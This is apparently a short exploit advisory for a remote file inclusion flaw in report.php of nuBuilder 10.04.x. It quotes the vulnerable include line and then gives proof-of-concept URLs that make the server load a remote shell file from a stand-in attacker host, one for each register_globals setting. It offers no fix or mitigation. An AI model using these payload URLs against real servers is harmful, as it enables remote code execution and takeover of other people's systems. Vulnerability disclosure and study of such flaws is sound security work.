Software: nuBuilder 10.04.x and lower(maybe)?
Type: Remote File Inclusion
Download: http://sourceforge.net/projects/nubuilder/files/
Author: Ahlspiess
Email: ahlspiess@tbdsecurity.com
Vulnerable file: report.php
report.php file content
1 <?php
2 /*
3 ** File: report.php
4 ** Author: nuSoftware
5 ** Created: 2007/04/26
6 ** Last modified: 2009/07/15
7 **
8 ** Copyright 2004, 2005, 2006, 2007, 2008, 2009 nuSoftware
9 **
10 ** This file is part of the nuBuilder source package and is licensed under the
11 ** GPLv3. For support on developing in nuBuilder, please visit the nuBuilder
12 ** wiki and forums. For details on contributing a patch for nuBuilder, please
13 ** visit the `Project Contributions' forum.
14 **
15 ** Website: http://www.nubuilder.com
16 ** Wiki: http://wiki.nubuilder.com
17 ** Forums: http://forums.nubuilder.com
18 */
19
20 include($GLOBALS['StartingDirectory']."/database.php"); <== interesting huh?
POC
Succesfully tested against php config register_global = On and Off, allow_url_include = On
register_global = Off
http://site.tld/report.php?StartingDirectory=http://attacker.tld/shell.txt?
register_global = On
http://site.tld/report.php?GLOBALS[StartingDirectory]=http://attacker.tld/shell.txt?
#EOF
